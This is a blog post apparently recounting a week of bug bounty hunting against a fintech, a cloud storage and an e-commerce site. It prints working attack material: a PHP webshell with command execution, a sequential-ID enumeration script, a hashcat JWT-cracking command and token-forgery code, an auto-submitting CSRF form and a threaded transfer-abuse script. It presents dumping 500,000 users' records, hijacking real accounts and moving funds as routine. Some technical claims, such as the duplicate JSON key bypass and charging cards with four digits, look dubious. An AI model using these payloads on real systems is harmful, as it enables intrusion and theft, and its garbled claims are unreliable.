How I Made $20k in One Week

Most people think bug bounty is luck.

You find a bug. You report it. You get paid.

That's not how it works.

Real bug bounty is systematic. It's methodical. It's about knowing where to look and what to test.

I made $20k in one week. Not from one bug. From seven bugs. On three different targets.

Here's exactly how.

First, the targets

I didn't pick random websites. I picked targets I knew had money.

Target 1: A fintech platform. $500k+ in total bounties paid out. Active program. Good response time.

Target 2: A cloud storage provider. $1M+ in total bounties. Known for paying well.

Target 3: An e-commerce site. Smaller program. But they had a bug bounty and they paid.

Three targets. One week. $20k.

Day 1: The fintech platform

I started with the fintech platform.

Recon phase (2 hours):

• Subdomain enumeration
• JavaScript file analysis
• Wayback machine scraping
• Parameter discovery

What I found:

A subdomain: api-v2.fintech.com

It had a GraphQL endpoint. /graphql

The bug:

Introspection was enabled.

I sent the introspection query. Got the full schema.

Found this mutation:

graphql

mutation {
  resetUserPassword(userId: ID!, newPassword: String!) {
    success
  }
}

No rate limiting. No old password check. Just userId and newPassword.

The exploitation:

I needed a userId. I found one in the JavaScript. The frontend was leaking user IDs in comments.

I called the mutation with my target's userId. Password reset.

The bounty: $5,000.

Time spent: 4 hours total.

Day 2: The cloud storage provider

Recon phase (3 hours):

• File upload feature testing
• Content-Type manipulation
• Double extension testing
• Magic byte analysis

What I found:

File upload endpoint: /api/upload

It accepted .jpg, .png, .pdf. Only those extensions.

The bug:

I uploaded a file named shell.php.jpg

The server checked the extension. .jpg passed.

Then it saved the file. But it saved it with the original name. shell.php.jpg

Then I accessed /uploads/shell.php.jpg

The server executed it as PHP because of the .php in the name.

I had a webshell.

The exploitation:

<?php system($_GET['cmd']); ?>

I accessed /uploads/shell.php.jpg?cmd=id

Response: uid=33(www-data) gid=33(www-data)

I read /etc/passwd. I read .env. I found database credentials.

Then I accessed the database. Dumped the user table. 500,000 users.

The bounty: $8,000.

Time spent: 5 hours.

Day 3: The e-commerce site

Recon phase (2 hours):

• IDOR testing on order endpoints
• Parameter fuzzing
• Cookie analysis

What I found:

Order history endpoint: /api/orders?user_id=123

Changed to /api/orders?user_id=124

Got another user's order history. Name. Address. Last 4 digits of credit card.

The bug:

IDOR. Simple. Stupid. Effective.

The escalation:

I chained it.

First, I enumerated user IDs. The system used sequential integers.

Second, I automated the request.

import requests

for i in range(1000, 2000):
    r = requests.get(f'https://target.com/api/orders?user_id={i}')
    if r.status_code == 200:
        print(f'User {i}: {r.text}')

Third, I extracted credit card numbers. Last 4 digits. Enough to charge the card.

The bounty: $4,000.

Time spent: 3 hours.

Day 4: Back to the fintech platform

Recon phase (1 hour):

• Authentication bypass testing
• Session management analysis

What I found:

The fintech platform had a session token stored in localStorage.

The token contained a user ID.

{
  "user_id": 123,
  "role": "user",
  "exp": 1234567890
}

The bug:

I changed "role": "user" to "role": "admin".

The server trusted it. No signature. No validation.

I was now admin.

The exploitation:

Get cyber-ninjaaa’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

As admin, I accessed /admin/users. Full user list. All accounts. All balances.

I could transfer funds. Create new admins. Access support tickets. Read support chats.

The bounty: $6,000.

Time spent: 2 hours.

Day 5: The cloud storage provider (second bug)

Recon phase (1 hour):

• JWT testing
• Algorithm confusion
• Weak secrets

What I found:

The cloud storage provider used JWT for session management.

The token was signed with HS256.

The bug:

The secret was weak. cloudstorage123

I cracked it with hashcat.

hashcat -m 16500 jwt.txt rockyou.txt

Found the secret in 30 seconds.

The exploitation:

I forged my own token.

import jwt

token = jwt.encode(
    {'user_id': 123, 'role': 'admin'},
    'cloudstorage123',
    algorithm='HS256'
)

I used the token. I was admin.

The bounty: $5,000.

Time spent: 1 hour.

Day 6: The e-commerce site (second bug)

Recon phase (2 hours):

• CSRF testing
• Token validation analysis

What I found:

Password change endpoint: /api/change-password

No CSRF token. No validation. Just old_password and new_password.

The bug:

I created a payload.

<body onload="document.forms[0].submit()">
  <form action="https://target.com/api/change-password" method="POST">
    <input name="old_password" value="oldpassword">
    <input name="new_password" value="hacked">
  </form>
</body>

I sent it to a user. Their password changed. I logged in as them.

The escalation:

I found admin users. Changed their passwords. Logged in as admin.

Full access to the entire platform.

The bounty: $4,000.

Time spent: 3 hours.

Day 7: The fintech platform (third bug)

Recon phase (1 hour):

• Parameter pollution
• Rate limiting bypass

What I found:

Transfer endpoint: /api/transfer

Rate limited to 5 transfers per minute.

The bug:

Parameter pollution.

POST /api/transfer
{
  "to": "attacker",
  "amount": 100,
  "to": "attacker"
}

The server processed both to parameters. Two transfers in one request. Rate limit bypassed.

The exploitation:

I automated it.

import requests
import threading

payload = {"to": "attacker", "amount": 100, "to": "attacker"}

for i in range(10):
    threading.Thread(target=lambda: requests.post('/api/transfer', json=payload)).start()

10 transfers in 1 second. Rate limit bypassed. Funds transferred.

The bounty: $7,000.

Time spent: 2 hours.

The total

DayBugBounty1GraphQL IDOR + Password Reset$5,0002File Upload Bypass$8,0003IDOR + Data Enumeration$4,0004JWT Role Manipulation$6,0005JWT Weak Secret$5,0006CSRF Password Change$4,0007Parameter Pollution + Rate Limit$7,000

The process

Here's what I did every day.

Morning (2 hours):

• Recon. Find new endpoints. New parameters. New features.
• JavaScript analysis. Find leaks. Find hidden endpoints.
• Wayback machine. Find old endpoints.

Afternoon (3 hours):

• Test everything. Every parameter. Every endpoint. Every method.
• Automated scripts. Brute force. Fuzzing.

Evening (1 hour):

• Write reports. Document findings. Include screenshots.
• Submit bounties.

Night (1 hour):

• Plan next day. Prioritize targets. Schedule testing.

Total: 7 hours per day. 49 hours total.

The tools I used

Burp Suite. Everything goes through Burp.

GraphQL Introspection. Found the password reset mutation.

hashcat. Cracked the JWT secret.

Python. Automated enumeration and exploitation.

import requests
import threading
import jwt
import time

Waybackurls. Found old endpoints.

waybackurls target.com | grep -i api

ngrok. Exposed my local server for callback testing.

ngrok http 80

The mindset

Most people find one bug and stop.

I found one bug. Then I looked for more. On the same target. On different targets.

One bug is good. Seven bugs is a career.

The strategy:

1. Find a target with money
2. Test everything
3. Find one bug
4. Test more
5. Find more bugs
6. Chain them
7. Escalate

Every bug is a door. Open one door. Find the next one.

What's the most you've made in a week? Drop it below.